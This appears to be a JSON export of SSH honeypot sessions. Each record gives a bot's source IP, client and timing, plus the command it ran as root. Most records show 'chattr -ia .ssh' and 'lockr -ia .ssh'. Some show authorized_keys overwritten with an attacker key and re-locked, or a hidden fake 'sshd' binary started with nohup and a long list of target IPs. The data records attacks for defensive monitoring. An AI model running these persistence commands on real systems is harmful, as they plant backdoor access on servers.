[
 {
  "id": "74526c11-02f0-421e-bc64-60a9b9ce3ee7",
  "name": "gilded-glacial-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.143.238.100",
  "src_port": 53956,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 257,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T05:47:19.457008+00:00",
  "ended_at": "2026-08-26T05:47:19.533615+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3807
 },
 {
  "id": "c0f1f91f-14eb-443c-927e-66e77cd79df1",
  "name": "golden-genial-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.224.160",
  "src_port": 56948,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 648,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T05:01:27.203810+00:00",
  "ended_at": "2026-08-26T05:01:27.406284+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3963
 },
 {
  "id": "02d24a53-b8a1-475b-9430-57bff8df9935",
  "name": "dapper-umber-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "107.150.103.210",
  "src_port": 26246,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T21:16:25.635410+00:00",
  "ended_at": "2026-08-25T21:16:25.703055+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3446
 },
 {
  "id": "363f34e1-fc48-42df-a921-01e431b5c77e",
  "name": "wandering-coastal-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "124.156.173.135",
  "src_port": 51870,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 673,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T19:55:06.836657+00:00",
  "ended_at": "2026-08-25T19:55:07.041931+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3981
 },
 {
  "id": "21a6be9d-04e1-44e7-a6fa-1e58ed3cf3d4",
  "name": "smooth-wandering-oryx",
  "protocol": "ssh",
  "channel_kind": "sftp",
  "src_ip": "77.90.185.20",
  "src_port": 57298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n",
  "started_at": "2026-08-25T14:30:34.810048+00:00",
  "ended_at": "2026-08-25T14:30:35.596959+00:00",
  "ended_reason": "exec complete",
  "commands": 8,
  "transcript_bytes": 994
 },
 {
  "id": "02a89e4b-0910-4990-96c9-bce5bab983df",
  "name": "restless-vigilant-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "216.10.242.215",
  "src_port": 49222,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 618,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T12:51:28.687254+00:00",
  "ended_at": "2026-08-25T12:51:28.877929+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3437
 },
 {
  "id": "720af6ad-98e8-4b27-a642-3b871d4b908a",
  "name": "dapper-clever-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.165.190.208",
  "src_port": 34868,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 558,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T22:07:11.630448+00:00",
  "ended_at": "2026-08-24T22:07:11.802058+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 6826
 },
 {
  "id": "33711d99-bb98-4dec-8455-b964f5c6c109",
  "name": "ashen-languid-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.153.205.159",
  "src_port": 39638,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 782,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T22:04:42.105280+00:00",
  "ended_at": "2026-08-24T22:04:42.350865+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3989
 },
 {
  "id": "f6f3ca3f-8bb8-4346-9617-014935b9dd74",
  "name": "burly-patient-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "141.95.54.130",
  "src_port": 59206,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 308,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T21:25:17.339639+00:00",
  "ended_at": "2026-08-24T21:25:17.428604+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4003
 },
 {
  "id": "67d5f6ce-be29-48d2-a412-7fdabda56506",
  "name": "solemn-leafy-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "87.106.29.151",
  "src_port": 41442,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T19:09:01.160303+00:00",
  "ended_at": "2026-08-24T19:09:01.247837+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4113
 },
 {
  "id": "ff4b92c2-cab9-4837-b1f0-be48191f942b",
  "name": "granite-wandering-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "5.3.154.197",
  "src_port": 33954,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 409,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T04:39:09.822503+00:00",
  "ended_at": "2026-08-24T04:39:09.946537+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3490
 },
 {
  "id": "6f21839c-0816-4ffd-9ff4-e71ebbf9de78",
  "name": "hidden-lunar-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "120.33.126.224",
  "src_port": 46270,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x ./.704318055288302351/sshd;nohup ./.704318055288302351/sshd  &",
  "started_at": "2026-08-24T03:43:21.725414+00:00",
  "ended_at": "2026-08-24T03:43:31.924235+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 132
 },
 {
  "id": "139edc25-ff78-447f-ad87-3aa1c14591d2",
  "name": "alpine-verdant-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "223.17.1.118",
  "src_port": 47578,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 692,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T03:17:41.660805+00:00",
  "ended_at": "2026-08-24T03:17:41.876558+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 6575
 },
 {
  "id": "4de63a5d-4df9-4aff-bcb2-ce12dde2b67a",
  "name": "bashful-crimson-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "190.60.43.27",
  "src_port": 53456,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T00:59:17.188346+00:00",
  "ended_at": "2026-08-24T00:59:17.266471+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3445
 },
 {
  "id": "ab1b937d-a056-4f39-9c0c-f216b9b615b6",
  "name": "nameless-murky-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "163.7.3.26",
  "src_port": 58822,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 763,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T21:19:15.453482+00:00",
  "ended_at": "2026-08-23T21:19:15.691786+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3571
 },
 {
  "id": "35cfb8eb-0bf7-4f3c-8e82-7bc92dacb0f0",
  "name": "steady-cheerful-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "87.106.63.76",
  "src_port": 35932,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 273,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T19:03:55.913807+00:00",
  "ended_at": "2026-08-23T19:03:55.985138+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3961
 },
 {
  "id": "bdaf581a-cda9-473b-b316-93f54c67069b",
  "name": "foggy-cunning-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "41.63.62.103",
  "src_port": 38488,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 917,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T13:46:37.478805+00:00",
  "ended_at": "2026-08-23T13:46:37.768414+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3538
 },
 {
  "id": "a8a8dac7-e250-4c2b-8d5a-3dd11cce1446",
  "name": "salty-whispering-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "192.169.201.223",
  "src_port": 33562,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T08:15:44.521354+00:00",
  "ended_at": "2026-08-23T08:15:44.584189+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4126
 },
 {
  "id": "fbe487c2-e38d-4eca-b4f1-0815e77cb3af",
  "name": "umber-coral-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "107.180.88.176",
  "src_port": 32976,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T06:17:08.121725+00:00",
  "ended_at": "2026-08-23T06:17:08.182859+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3588
 },
 {
  "id": "70fe1f9e-b460-4fb0-8891-63a61305e666",
  "name": "wistful-peaty-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "136.232.11.10",
  "src_port": 43268,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 715,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T06:16:26.327703+00:00",
  "ended_at": "2026-08-23T06:16:26.559283+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4025
 },
 {
  "id": "d0bc5787-46a5-4e4a-8fcb-9ae66d4739cf",
  "name": "earnest-rambling-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.102.98.53",
  "src_port": 49848,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 65,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T04:52:11.093291+00:00",
  "ended_at": "2026-08-23T04:52:11.099503+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3537
 },
 {
  "id": "0844521b-6fe2-405e-8725-531adb115801",
  "name": "thawing-jagged-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "213.91.234.180",
  "src_port": 54362,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 357,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T01:09:13.082039+00:00",
  "ended_at": "2026-08-23T01:09:13.187119+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3866
 },
 {
  "id": "bb8255c1-fa10-47fb-bace-d408951594e4",
  "name": "ivory-gloomy-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "68.183.236.1",
  "src_port": 37372,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 772,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T21:59:03.408093+00:00",
  "ended_at": "2026-08-22T21:59:11.945062+00:00",
  "ended_reason": "exec complete",
  "commands": 26,
  "transcript_bytes": 3638
 },
 {
  "id": "f0f09920-b4c1-4d19-92d8-fdac78e39488",
  "name": "solar-cheerful-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.134.154.195",
  "src_port": 46574,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 791,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T15:42:34.931139+00:00",
  "ended_at": "2026-08-22T15:42:35.179940+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3563
 },
 {
  "id": "7207bd6d-f105-44ce-ad44-2ecdc0e17b8e",
  "name": "supple-lunar-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "81.192.46.36",
  "src_port": 58294,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 373,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T14:19:36.840359+00:00",
  "ended_at": "2026-08-22T14:19:36.951750+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3814
 },
 {
  "id": "23c3a382-7bc4-4bfd-8e04-aae7c518816f",
  "name": "blithe-ashen-opossum",
  "protocol": "ssh",
  "channel_kind": "sftp",
  "src_ip": "203.189.196.168",
  "src_port": 51472,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T10:38:15.700762+00:00",
  "ended_at": "2026-08-22T10:38:15.696584+00:00",
  "ended_reason": "no channel opened",
  "commands": 1,
  "transcript_bytes": 61
 },
 {
  "id": "a0b73d99-0f20-4e51-aa7c-a0a50f254683",
  "name": "early-civil-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "181.164.12.188",
  "src_port": 47690,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 620,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T01:48:04.820032+00:00",
  "ended_at": "2026-08-22T01:48:05.007288+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3555
 },
 {
  "id": "586c8448-b441-41be-a6a4-ce51a64e72cd",
  "name": "crimson-frank-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "210.79.142.230",
  "src_port": 56430,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 740,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T22:44:40.988584+00:00",
  "ended_at": "2026-08-21T22:44:41.220167+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3495
 },
 {
  "id": "085553b7-74c2-4a2d-9c6e-99eaa2ee2e06",
  "name": "clever-wistful-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "143.202.162.212",
  "src_port": 35234,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 271,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T17:00:24.227469+00:00",
  "ended_at": "2026-08-21T17:00:24.302398+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3554
 },
 {
  "id": "dde2d4ff-0ca4-483b-9053-7458166c5e99",
  "name": "lonesome-hazy-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.194.3.128",
  "src_port": 46786,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 696,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-21T00:21:03.057453+00:00",
  "ended_at": "2026-08-21T00:21:03.277755+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3479
 },
 {
  "id": "ddd2d8dd-2a8c-48e7-a914-3d24b5327f81",
  "name": "smooth-sincere-loris",
  "protocol": "ssh",
  "channel_kind": "sftp",
  "src_ip": "101.206.211.72",
  "src_port": 14175,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T22:38:46.573203+00:00",
  "ended_at": "2026-08-20T22:38:46.560076+00:00",
  "ended_reason": "no channel opened",
  "commands": 1,
  "transcript_bytes": 61
 },
 {
  "id": "dd3dc568-17c5-4e13-afe3-5fce7789988b",
  "name": "weathered-shifting-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "183.91.186.36",
  "src_port": 45114,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 901,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T20:24:34.329664+00:00",
  "ended_at": "2026-08-20T20:24:34.630091+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3988
 },
 {
  "id": "e3eee844-4660-4da4-8622-91b468c14614",
  "name": "gallant-sullen-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "144.225.8.54",
  "src_port": 60896,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x ./.7952845218618959092/sshd;nohup ./.7952845218618959092/sshd  &",
  "started_at": "2026-08-20T13:32:13.067213+00:00",
  "ended_at": "2026-08-20T13:32:22.630900+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 144
 },
 {
  "id": "a09265ce-7df6-487c-b00d-1f24a248165f",
  "name": "canny-restless-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "186.248.197.77",
  "src_port": 45656,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 412,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:59:14.353436+00:00",
  "ended_at": "2026-08-20T12:59:14.478176+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3733
 },
 {
  "id": "9d97c634-71cf-4395-9707-f7b02c0c87c2",
  "name": "deft-frank-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "139.59.28.125",
  "src_port": 34268,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 678,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:57:42.460636+00:00",
  "ended_at": "2026-08-20T12:57:42.669225+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3631
 },
 {
  "id": "46fb043f-7cad-43ac-afbe-b504a2611f5e",
  "name": "frosty-barren-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.47.46.174",
  "src_port": 59806,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 687,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:49:42.507032+00:00",
  "ended_at": "2026-08-20T12:49:42.722243+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3732
 },
 {
  "id": "16ce8ab6-9ac3-48a6-8acf-2f1f38563712",
  "name": "meadow-northern-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "81.193.216.17",
  "src_port": 56682,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 408,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:49:19.537181+00:00",
  "ended_at": "2026-08-20T12:49:19.664175+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3907
 },
 {
  "id": "d9b95fa5-86ee-4f4a-9ebd-e1d1f8cad745",
  "name": "cheerful-dapper-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.45.84.205",
  "src_port": 43772,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x ./.5270151611794990678/sshd;nohup ./.5270151611794990678/sshd 185.148.3.161 117.89.254.46 117.149.196.215 106.75.216.134 182.201.244.26 41.225.238.233 38.12.6.229 103.121.91.144 177.136.246.131 119.96.137.19 198.46.233.54 149.129.236.37 106.13.209.152 106.12.153.211 45.41.207.162 27.156.98.194 210.16.103.246 175.4.52.243 156.227.232.239 51.15.19.10 43.226.44.214 45.8.133.228 116.128.243.59 107.170.23.78 87.120.84.66 180.76.112.121 103.165.11.113 177.74.153.10 134.122.95.87 217.18.94.226 120.48.102.219 23.251.57.59 103.219.32.239 88.151.34.218 118.122.147.195 120.209.186.110 60.165.124.241 143.198.27.218 113.56.35.44 50.6.228.52 191.252.210.242 180.129.222.228 77.246.111.220 202.134.23.229 121.228.250.70 183.224.79.111 160.250.133.79 183.136.170.167 123.58.212.100 41.111.172.25 160.187.174.22 &",
  "started_at": "2026-08-20T12:10:14.142670+00:00",
  "ended_at": "2026-08-20T12:10:23.792851+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 875
 },
 {
  "id": "480ec80d-66e2-4856-97dd-06174b2da80f",
  "name": "leafy-freckled-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.12.221.15",
  "src_port": 34716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:08:41.365257+00:00",
  "ended_at": "2026-08-20T12:08:41.455427+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3731
 },
 {
  "id": "87c2eb28-34f2-44c9-9d94-210ae924165b",
  "name": "crimson-nimble-meerkat",
  "protocol": "ssh",
  "channel_kind": "sftp",
  "src_ip": "77.90.185.20",
  "src_port": 57926,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n",
  "started_at": "2026-08-20T07:29:14.913545+00:00",
  "ended_at": "2026-08-20T07:29:15.120608+00:00",
  "ended_reason": "exec complete",
  "commands": 8,
  "transcript_bytes": 994
 }
]